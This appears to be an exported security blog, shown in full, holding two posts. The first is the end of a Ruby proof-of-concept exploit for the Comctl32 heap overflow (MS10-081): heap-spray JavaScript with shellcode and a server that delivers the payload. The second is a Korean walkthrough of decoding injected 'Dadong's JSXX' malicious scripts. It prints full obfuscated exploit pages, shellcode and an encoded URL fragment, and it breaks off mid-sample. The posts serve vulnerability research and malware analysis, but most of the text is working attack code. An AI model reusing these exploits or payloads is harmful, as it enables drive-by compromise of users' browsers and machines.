xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; xmlns:xlink=\u0026#34;http://www.w3.org/1999/xlink\u0026#34;\u0026gt; \u0026lt;rect x=\u0026#34;50\u0026#34; y=\u0026#34;50\u0026#34; height=\u0026#34;110\u0026#34; width=\u0026#34;110\u0026#34; style=\u0026#34;fill: #ffffff\u0026#34; transform=\u0026#34;#{transform_name}(10) translate(30) rotate(45 50 50)\u0026#34; \u0026gt; \u0026lt;/rect\u0026gt; \u0026lt;text x=\u0026#34;100\u0026#34; y=\u0026#34;100\u0026#34;\u0026gt;CLICK ME\u0026lt;/text\u0026gt; \u0026lt;/svg\u0026gt; SVG html = \u0026lt;\u0026lt;-HTML \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; \u0026lt;!-- function str_dup(str, length) { var result = str; while(result.length \u0026lt; length) { result += result; } return result.substr(result.length - length); } var shellcode = unescape(\u0026#34;%u9000%u9090%u9090\u0026#34;) + // msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b \u0026#34;\\x00\u0026#34; unescape(\u0026#34;%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4\u0026#34; + \u0026#34;%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc\u0026#34; + \u0026#34;%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404\u0026#34; + \u0026#34;%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb\u0026#34; + \u0026#34;%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098\u0026#34; + \u0026#34;%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd\u0026#34; + \u0026#34;%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9\u0026#34; + \u0026#34;%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99\u0026#34; + \u0026#34;%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28\u0026#34; + \u0026#34;%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710\u0026#34; + \u0026#34;%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9\u0026#34; + \u0026#34;%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1\u0026#34; + \u0026#34;%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619\u0026#34; + \u0026#34;%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77\u0026#34; + \u0026#34;%u7c96%u0e88\u0026#34;); var base = str_dup(unescape(\u0026#34;%u2100\u0026#34;), 0x800 - shellcode.length); var arr = []; for(var i = 0; i \u0026lt; 2000; i++) { arr[i] = document.createElement(\u0026#34;a\u0026#34;); arr[i].innerHTML = [base + shellcode].join(\u0026#34;\u0026#34;); } --\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;iframe width=\u0026#34;100%\u0026#34; height=\u0026#34;100%\u0026#34; src=\u0026#34;poc.svg\u0026#34; marginheight=\u0026#34;0\u0026#34; marginwidth=\u0026#34;0\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; HTML puts \u0026#34;[+] Listening on port #{port}\u0026#34; puts TCPServer.open(port) do |srv| while true cli = srv.accept req = \u0026#34;\u0026#34; next unless sock_read(cli, req, 5) while req.length \u0026gt; 0 if req =~ /GET.*svg/i break unless http_send(cli, svg, :type=\u0026gt;\u0026#34;image/svg+xml\u0026#34;, :desc=\u0026gt;\u0026#34;svg\u0026#34;) elsif req =~ /QUIT/ exit() else break unless http_send(cli, html, :type=\u0026gt;\u0026#34;text/html\u0026#34;, :desc=\u0026gt;\u0026#34;html\u0026#34;) end req = \u0026#34;\u0026#34; next unless sock_read(cli, req, 5) end cli.close rescue next end end ","date":"2011-01-10T23:53:13Z","permalink":"/2011/01/10/windows-common-control-library-comctl32-heap-overflow-ms10-081-cve-2010-2746/","title":"Windows Common Control Library (Comctl32) Heap Overflow (MS10-081, CVE-2010-2746)"},{"content":"최근 국내에 삽입되는 악성스크립트 중 \u0026quot;Encrypt By Dadong's JSXX 버전명 VIP\u0026quot; 이란 주석이 포함된 난독화 된 스크립트가 확인되어 디코딩 하는 방법에 대해 작성해 보도록 하겠습니다. 우선 0.31 버전부터 살펴보도록 하겠습니다.\n1 \u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;button id=\u0026#39;yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp\u0026#39; onclick=\u0026#39;WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe();\u0026#39; style=\u0026#39;display:none\u0026#39;\u0026gt;\u0026lt;/button\u0026gt; \u0026lt;script language=\u0026#39;javascript\u0026#39;\u0026gt; var bak, bak1, bak2, bak3, bak4; bak=\u0026#39;%\u0026#39;;var wud=\u0026#39;%\u0026#39;;var tihs=\u0026#39;%\u0026#39;;var jj=bak+\u0026#39;u\u0026#39;+\u0026#39;4B5B\u0026#39;;var lzg=\u0026#39;%\u0026#39;; bak1=\u0026#39;u\u0026#39;; wud+=\u0026#39;u\u0026#39;; tihs+=\u0026#39;u\u0026#39;;var kk=bak+\u0026#39;u\u0026#39;+\u0026#39;CD36\u0026#39;;lzg+=\u0026#39;u\u0026#39;; bak2=\u0026#39;58\u0026#39;;wud+=\u0026#39;B\u0026#39;; tihs+=\u0026#39;B\u0026#39;;var ll=bak+\u0026#39;u\u0026#39;+\u0026#39;BD8F\u0026#39;;lzg+=\u0026#39;B\u0026#39;; bak3=bak+bak1+\u0026#39;5\u0026#39;; wud+=\u0026#39;D\u0026#39;; tihs+=\u0026#39;D\u0026#39;;var mm=bak+\u0026#39;u\u0026#39;+\u0026#39;E9D0\u0026#39;;lzg+=\u0026#39;DD\u0026#39;; bak4=bak3+\u0026#39;8\u0026#39;+\u0026#39;58%\u0026#39;+bak1+bak2+bak2;wud+=\u0026#39;BC\u0026#39;; tihs+=\u0026#39;B\u0026#39;;tihs+=\u0026#39;D\u0026#39;;var oo=bak+\u0026#39;u\u0026#39;+\u0026#39;FB7A\u0026#39;;lzg+=\u0026#39;7\u0026#39;; var WMAHWM=\u0026#39;B%u4627%uA\u0026#39;; var LHAH=bak3+\u0026#39;8\u0026#39;+\u0026#39;5\u0026#39;+\u0026#39;8\u0026#39;+bak+bak1+bak2+bak2+\u0026#39;%u10EB\u0026#39;+jj+\u0026#39;%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%\u0026#39;+\u0026#39;u\u0026#39;;var HHAH=\u0026#39;05EB%\u0026#39;+\u0026#39;uEBE8%uFFFF%u54FF%uBEA3\u0026#39;+tihs+\u0026#39;%uD9E2%u8D1C\u0026#39;+tihs+\u0026#39;%\u0026#39;; var SSAH=\u0026#39;u36BD%uB1FD\u0026#39;+kk+\u0026#39;%u10A1%\u0026#39;+\u0026#39;uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%\u0026#39;+\u0026#39;u2DBD\u0026#39;+\u0026#39;%\u0026#39;; var oah=\u0026#39;u455F%u8ED5\u0026#39;+ll+\u0026#39;%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%u\u0026#39;; var org=\u0026#39;u2355%uBDBF%\u0026#39;+\u0026#39;u\u0026#39;; oah+=\u0026#39;BDBC%u36BD%uD755%uE4B8%\u0026#39;+org+\u0026#39;5FBD%uD544%uD3D2\u0026#39;+tihs+\u0026#39;%\u0026#39;; var org1=\u0026#39;%\u0026#39;+\u0026#39;uD2D5%uBDD3%\u0026#39;; oah+=\u0026#39;uC8D5%uD1CF\u0026#39;+mm+\u0026#39;%uAB42%u7D38%uAEC8\u0026#39;+org1+\u0026#39;uD5BD%uCFC8%uD0D1%u36E9\u0026#39;; var org2=\u0026#39;uD355%\u0026#39;+\u0026#39;uBDBF%\u0026#39;; oah+=\u0026#39;%uB1FB%u3355\u0026#39;+wud+\u0026#39;%u36BD%uD755%uE4BC%\u0026#39;+org2+\u0026#39;u5FBD%\u0026#39;; var org3=\u0026#39;%\u0026#39;+\u0026#39;u8ED1%uBD8F%\u0026#39;+\u0026#39;u\u0026#39;; oah+=\u0026#39;uD544\u0026#39;+org3+\u0026#39;CED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2\u0026#39;+tihs+\u0026#39;%u\u0026#39;; var org4=\u0026#39;5E4%\u0026#39;+\u0026#39;uBFF\u0026#39;; oah+=\u0026#39;5536%uBCD7%u5\u0026#39;+org4+\u0026#39;2\u0026#39;+tihs+\u0026#39;%u445F%u513C%uBCBD\u0026#39;+tihs+\u0026#39;%\u0026#39;; var org5=\u0026#39;uBDD7%\u0026#39;+\u0026#39;uA7D7%\u0026#39;; oah+=\u0026#39;u6136%u7E3C%uBD3D\u0026#39;+tihs+\u0026#39;%\u0026#39;+org5+\u0026#39;uD7EE%\u0026#39;; var org6=\u0026#39;uC8BD%u7A44%\u0026#39;+\u0026#39;u\u0026#39;; oah+=\u0026#39;u42BD%uE1EB%u7D8E%u3DFD%uBE81%\u0026#39;+org6+\u0026#39;BEB9%uDBE1%uD893%\u0026#39;; var org7=\u0026#39;C5%\u0026#39;+\u0026#39;uBDBD%u748E%\u0026#39;+\u0026#39;uEC\u0026#39;; oah+=\u0026#39;uF97A%uB9BE%uD8\u0026#39;+org7+\u0026#39;EC%uEAEE%u8EEC%u367D%uE5FB%\u0026#39;; var org8=\u0026#39;uBDBC%\u0026#39;+\u0026#39;u3EBD%uBD\u0026#39;; oah+=\u0026#39;u9F55%\u0026#39;+org8+\u0026#39;45%u1E54\u0026#39;+tihs+\u0026#39;%u2DBD%uBDD7%uBDD7%uBED7%\u0026#39;; var org9=\u0026#39;EE7D%uFB36%\u0026#39;+\u0026#39;u55\u0026#39;; oah+=\u0026#39;uBDD7%uBFD7%uBDD5\u0026#39;+tihs+\u0026#39;%u\u0026#39;+org9+\u0026#39;99%uBCBC\u0026#39;+tihs+\u0026#39;%\u0026#39;; var org10=\u0026#39;7DD%uEDBD%\u0026#39;+\u0026#39;uEB42%u3495%\u0026#39;+\u0026#39;uD\u0026#39;; oah+=\u0026#39;uFB34%uD\u0026#39;+org10+\u0026#39;9FB%uFB36%uD7DD%uD7BD%uD7BD%\u0026#39;; var org11=\u0026#39;BD%uEB42%\u0026#39;+\u0026#39;uD791%uD\u0026#39;; oah+=\u0026#39;uD7BD%uD7B9%uED\u0026#39;+org11+\u0026#39;7BD%uD7BD%uD5BD%uBDA2%uBDB2%\u0026#39;; var org12=\u0026#39;u36C5%\u0026#39;+\u0026#39;uD9F3%uC13D%u4\u0026#39;; oah+=\u0026#39;u42ED%u81EB%uFB34%\u0026#39;+org12+\u0026#39;2B5%uC909%u3DB1%uB5C1%\u0026#39;; oah+=\u0026#39;uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B\u0026#39;+tihs+\u0026#39;%u7ABD%uCDFB\u0026#39;+tihs+\u0026#39;%u\u0026#39;; oah+=\u0026#39;BDBD\u0026#39;+oo+\u0026#39;%uBDC9\u0026#39;+tihs+\u0026#39;%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%\u0026#39;; oah+=\u0026#39;u42ED%u85EB%u3B36%uBD3D\u0026#39;+tihs+\u0026#39;%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u4\u0026#39;; oah+=\u0026#39;2DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uB\u0026#39;; oah+=\u0026#39;FBD\u0026#39;+tihs+\u0026#39;%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364\u0026#39;; oah+=\u0026#39;E%u3671%\u0026#39;+\u0026#39;u3E64%\u0026#39;+\u0026#39;uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAE\u0026#39;; oah+=\u0026#39;D%uEDED%uEB42%u36B5%uE9C3%uAD55\u0026#39;+wud+\u0026#39;%u55BD%uBDD8\u0026#39;+tihs+\u0026#39;%uD\u0026#39;; oah+=\u0026#39;ED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955\u0026#39;+tihs+\u0026#39;%u3\u0026#39;; oah+=\u0026#39;4BD%u81FB%u1CD9%uBDB9\u0026#39;+tihs+\u0026#39;%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%\u0026#39;; oah+=\u0026#39;uADFB%uB555\u0026#39;+tihs+\u0026#39;%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%\u0026#39;; oah+=\u0026#39;u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B5\u0026#39;; oah+=\u0026#39;5\u0026#39;+tihs+\u0026#39;%u7EBD%u1D55\u0026#39;+tihs+\u0026#39;%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E\u0026#39;+tihs+\u0026#39;%u5\u0026#39;; oah+=\u0026#39;13C%uBCBD\u0026#39;+tihs+\u0026#39;%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%\u0026#39;; oah+=\u0026#39;uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A8\u0026#39;; oah+=\u0026#39;4%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uF\u0026#39;; oah+=\u0026#39;A7A%u259D%uADB7%uD945%u8D1C\u0026#39;+tihs+\u0026#39;%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD\u0026#39;; oah+=\u0026#39;74A%uE4B9%uE955\u0026#39;+tihs+\u0026#39;%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36\u0026#39;; oah+=\u0026#39;E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88\u0026#39;+tihs+\u0026#39;%u445F%u428E%u42EA%uB9EB%uBF56%u7E\u0026#39;; oah+=\u0026#39;E5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7\u0026#39;; oah+=\u0026#39;E%u6136%uD7EE%uD5FD%uADBD\u0026#39;+tihs+\u0026#39;%u36EA%u9DFB%uA555%u4242%uE542%uEC7\u0026#39;; oah+=\u0026#39;E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB26\u0026#39;; oah+=\u0026#39;6%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE33\u0026#39;; oah+=\u0026#39;6%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u\u0026#39;; oah+=\u0026#39;673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA37\u0026#39;; oah+=\u0026#39;6%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u18\u0026#39;; oah+=\u0026#39;4D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%u\u0026#39;; \u0026lt;/script\u0026gt; \u0026lt;script language=\u0026#39;javascript\u0026#39;\u0026gt; var tqqMG4 = eval;Wsinphw6=\u0026#34;647360327D737A7D2F355356502537672156262737672320243539455F535A455F39352A575735291F1864736032535C5A575B2F7D737A7D39353767762776703767712B712B37672A25717637672B202B2037677625762437672A70712637677625767037672A772B2137672A742A7737672B212A7437677174762037672A25767337672A272A74376771732B20376771737173376776742B213767762676713767712A762B376776772B2137677622762037677076707637677076707635291F18647360324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C2F677C7761717362773A5E5A535A395A5A535A394141535A397D737A39535C5A575B3B291F1865745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F7754752F7C776532536060736B3A3B291F18647360325C5E5B5B5D73455745632F226A2A242222223F3A4B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C3C7E777C75667A38203B291F186473603276615F79767162607060675B5B71557E6263417C65475865475F4B465941642F677C7761717362773A35376722712271376722712271353B291F18657A7B7E773A76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C7E777C75667A2E5C5E5B5B5D73455745633D203B691F181B76615F79767162607060675B5B71557E6263417C65475865475F4B46594164392F76615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181B1F186F647360326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B2F76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C6167706166607B7C753A223E5C5E5B5B5D73455745633D203B291F1876777E7766773276615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181F1832747D603A6643797C47704167625A42707D71544A2F2229326643797C47704167625A42707D71544A2E20252229326643797C47704167625A42707D71544A39393B32691F18323265745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F775475496643797C47704167625A42707D71544A4F322F326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C291F18326F291F18445F586058242F305C735C30294A5463755963222F305C735C3029635376615B6651202F305C735C30295C7A5163202F305C735C3029795C736B612A2F305C735C3029797B59582A2F305C735C302976757F70557B5B232F305C735C30295643635456232F305C735C30295C457C442A2F305C735C30295C535F62242F305C735C3029797B6845202F305C735C302975777E7C212F305C735C302945617B7C627A65242F305C735C3029615F477D797147232F305C735C30296663635F55262F305C735C3029\u0026#34;;VMJrJ6=\u0026#34;function XFqgKq0(){qAdsItC2=Math.PI;NhCq2=parseInt;kNays8=\u0026#39;length\u0026#39;;kiKJ8=NhCq2(~((qAdsItC2\u0026amp;qAdsItC2)|(~qAdsItC2\u0026amp;qAdsItC2)\u0026amp;(qAdsItC2\u0026amp;~qAdsItC2)|(~qAdsItC2\u0026amp;~qAdsItC2)));dgmbGiI1=NhCq2(((kiKJ8\u0026amp;kiKJ8)|(~kiKJ8\u0026amp;kiKJ8)\u0026amp;(kiKJ8\u0026amp;~kiKJ8)|(~kiKJ8\u0026amp;~kiKJ8))\u0026amp;1);/Encrypt By Dadong\u0026#39;s JSXX 0.31 VIP/DQqFD1=dgmbGiI1\u0026lt;\u0026lt;dgmbGiI1;NWnV8=kiKJ8;NWnV8=kiKJ8;NAMp6=\u0026#39;\u0026#39;;kizW2=eval(unescape(\u0026#39;%5\u0026#39;+\u0026#39;3%74%\u0026#39;+\u0026#39;72%69%6\u0026#39;+\u0026#39;E%67%2E%\u0026#39;+\u0026#39;66%72%\u0026#39;+\u0026#39;6F%6D%4\u0026#39;+\u0026#39;3%68%61\u0026#39;+\u0026#39;%72%4\u0026#39;+\u0026#39;3%6F\u0026#39;+\u0026#39;%64%65\u0026#39;));sMUokcU1=tqqMG4;for(geln3=kiKJ8;geln3\u0026lt;VMJrJ6[kNays8];geln3-=-dgmbGiI1)NWnV8+=VMJrJ6.charCodeAt(geln3);NWnV8%=unescape(kiKJ8+unescape(\u0026#39;x\u0026#39;)+(1\u0026lt;\u0026lt;6));for(geln3=kiKJ8;geln3\u0026lt;Wsinphw6[kNays8];geln3+=DQqFD1)NAMp6+=kizW2(NhCq2(kiKJ8+unescape(\u0026#39;x\u0026#39;)+Wsinphw6.charAt(geln3)+Wsinphw6.charAt(geln3+NhCq2(dgmbGiI1)))^NWnV8);try{sMUokcU1(NAMp6);}catch(e){try{tqqMG4(NAMp6);}catch(e) {window.location=\u0026#39;/\u0026#39;;}}}try{tqqMG4(\u0026#39;XFqgKq0();\u0026#39;)}catch(e) {alert(\u0026#39;ere\u0026#39;);}\u0026#34;;var dJknQ0 = tqqMG4(tqqMG4);dJknQ0(VMJrJ6);function WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe(){ var mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv = document.createElement(\u0026#39;body\u0026#39;); mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.addBehavior(\u0026#39;#default#userData\u0026#39;); document.appendChild(mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv); try { for (tQknUbSupHPbocFX=0; tQknUbSupHPbocFX\u0026lt;10; tQknUbSupHPbocFX++) { mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.setAttribute(\u0026#39;s\u0026#39;,window); } } catch(e){ } window.status+=\u0026#39;\u0026#39;; } document.getElementById(\u0026#39;yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp\u0026#39;).onclick(); \u0026lt;/script\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 0.31 버전으로 추정되는 이 코드는 우선 쉘코드로 보이는 코드가 상단에 있지만 중요한 URL과 관련된 부분은 Dadong 이라는 암호화 방법으로 난독화 되어 있습니다. 이 부분을 풀어야 하는데 이것은 아래와 같이 해당 부분만 따로 떼어 Malzilla 에서 확인이 가능합니다.\n1 var tqqMG4 = eval;Wsinphw6=\u0026#34;647360327D737A7D2F355356502537672156262737672320243539455F535A455F39352A575735291F1864736032535C5A575B2F7D737A7D39353767762776703767712B712B37672A25717637672B202B2037677625762437672A70712637677625767037672A772B2137672A742A7737672B212A7437677174762037672A25767337672A272A74376771732B20376771737173376776742B213767762676713767712A762B376776772B2137677622762037677076707637677076707635291F18647360324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C2F677C7761717362773A5E5A535A395A5A535A394141535A397D737A39535C5A575B3B291F1865745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F7754752F7C776532536060736B3A3B291F18647360325C5E5B5B5D73455745632F226A2A242222223F3A4B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C3C7E777C75667A38203B291F186473603276615F79767162607060675B5B71557E6263417C65475865475F4B465941642F677C7761717362773A35376722712271376722712271353B291F18657A7B7E773A76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C7E777C75667A2E5C5E5B5B5D73455745633D203B691F181B76615F79767162607060675B5B71557E6263417C65475865475F4B46594164392F76615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181B1F186F647360326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B2F76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C6167706166607B7C753A223E5C5E5B5B5D73455745633D203B291F1876777E7766773276615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181F1832747D603A6643797C47704167625A42707D71544A2F2229326643797C47704167625A42707D71544A2E20252229326643797C47704167625A42707D71544A39393B32691F18323265745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F775475496643797C47704167625A42707D71544A4F322F326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C291F18326F291F18445F586058242F305C735C30294A5463755963222F305C735C3029635376615B6651202F305C735C30295C7A5163202F305C735C3029795C736B612A2F305C735C3029797B59582A2F305C735C302976757F70557B5B232F305C735C30295643635456232F305C735C30295C457C442A2F305C735C30295C535F62242F305C735C3029797B6845202F305C735C302975777E7C212F305C735C302945617B7C627A65242F305C735C3029615F477D797147232F305C735C30296663635F55262F305C735C3029\u0026#34;;VMJrJ6=\u0026#34;function XFqgKq0(){qAdsItC2=Math.PI;NhCq2=parseInt;kNays8=\u0026#39;length\u0026#39;;kiKJ8=NhCq2(~((qAdsItC2\u0026amp;qAdsItC2)|(~qAdsItC2\u0026amp;qAdsItC2)\u0026amp;(qAdsItC2\u0026amp;~qAdsItC2)|(~qAdsItC2\u0026amp;~qAdsItC2)));dgmbGiI1=NhCq2(((kiKJ8\u0026amp;kiKJ8)|(~kiKJ8\u0026amp;kiKJ8)\u0026amp;(kiKJ8\u0026amp;~kiKJ8)|(~kiKJ8\u0026amp;~kiKJ8))\u0026amp;1);/Encrypt By Dadong\u0026#39;s JSXX 0.31 VIP/DQqFD1=dgmbGiI1\u0026lt;\u0026lt;dgmbGiI1;NWnV8=kiKJ8;NWnV8=kiKJ8;NAMp6=\u0026#39;\u0026#39;;kizW2=eval(unescape(\u0026#39;%5\u0026#39;+\u0026#39;3%74%\u0026#39;+\u0026#39;72%69%6\u0026#39;+\u0026#39;E%67%2E%\u0026#39;+\u0026#39;66%72%\u0026#39;+\u0026#39;6F%6D%4\u0026#39;+\u0026#39;3%68%61\u0026#39;+\u0026#39;%72%4\u0026#39;+\u0026#39;3%6F\u0026#39;+\u0026#39;%64%65\u0026#39;));sMUokcU1=tqqMG4;for(geln3=kiKJ8;geln3\u0026lt;VMJrJ6[kNays8];geln3-=-dgmbGiI1)NWnV8+=VMJrJ6.charCodeAt(geln3);NWnV8%=unescape(kiKJ8+unescape(\u0026#39;x\u0026#39;)+(1\u0026lt;\u0026lt;6));for(geln3=kiKJ8;geln3\u0026lt;Wsinphw6[kNays8];geln3+=DQqFD1)NAMp6+=kizW2(NhCq2(kiKJ8+unescape(\u0026#39;x\u0026#39;)+Wsinphw6.charAt(geln3)+Wsinphw6.charAt(geln3+NhCq2(dgmbGiI1)))^NWnV8);try{sMUokcU1(NAMp6);}catch(e){try{tqqMG4(NAMp6);}catch(e) {window.location=\u0026#39;/\u0026#39;;}}}try{tqqMG4(\u0026#39;XFqgKq0();\u0026#39;)}catch(e) {alert(\u0026#39;ere\u0026#39;);}\u0026#34;;var dJknQ0 = tqqMG4(tqqMG4);dJknQ0(VMJrJ6); 확인된 URL이 포함된 쉘코드 부분은 아래와 같습니다.\n1 %ud5db%uc9c9%u87cd%u9292%ud7d6%u8bc4%ud7db%u8e93%u8f8e%u938f%ucfd2%u87da%u858f%uca92%ucaca%udf93%ud4dc%uc8d9%ude93%ud0d2%ubdbd%ubdbd 다음은 0.39 버전입니다. 이건 좀 까다롭습니다. 한번 찬찬히 살펴 보도록 하죠.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; function knghdf() { return true; } window.onerror=knghdf; var jwJWkwJ8=\u0026#39;\\x30\u0026#39;; HUiv6=navigator.userAgent.toLowerCase(); JVjw6=((HUiv6.indexOf(\u0026#39;windows nt 5.1\u0026#39;)!=-1)||(HUiv6.indexOf(\u0026#39;windows xp\u0026#39;)!=-1)); if(JVjw6\u0026amp;\u0026amp;navigator.userAgent.toLowerCase().indexOf(\u0026#34;\\x6D\u0026#34;+\u0026#34;\\x73\u0026#34;+\u0026#34;\\x69\\x65 \\x38\u0026#34;)!=-1) location.replace(\u0026#34;about:blank\u0026#34;); \u0026lt;/script\u0026gt; \u0026lt;button id=\u0026#34;KXmz6\u0026#34; onclick=\u0026#34;LYmy6();\u0026#34; STYLE=\u0026#34;DISPLAY:NONE\u0026#34;\u0026gt;\u0026lt;/button\u0026gt; try { new ActiveXObject(\u0026#34;\u0026#34;); } catch (e) { var tlMoOul8=\u0026#39;\\x25\u0026#39;+\u0026#39;u9\u0026#39;+\u0026#39;\\x30\u0026#39;+\u0026#39;\\x39\u0026#39;+YYGRl6; tlMoOul8+=tlMoOul8; var CBmH8=\u0026#34;%u\u0026#34;; var vBYG0=unescape; //var adnPkxF1=\u0026#34;x\u0026#34;; var EuhV2=\u0026#34;BODY\u0026#34;;} \u0026lt;script language=\u0026#34;javascript\u0026#34;\u0026gt; LcpC7 = 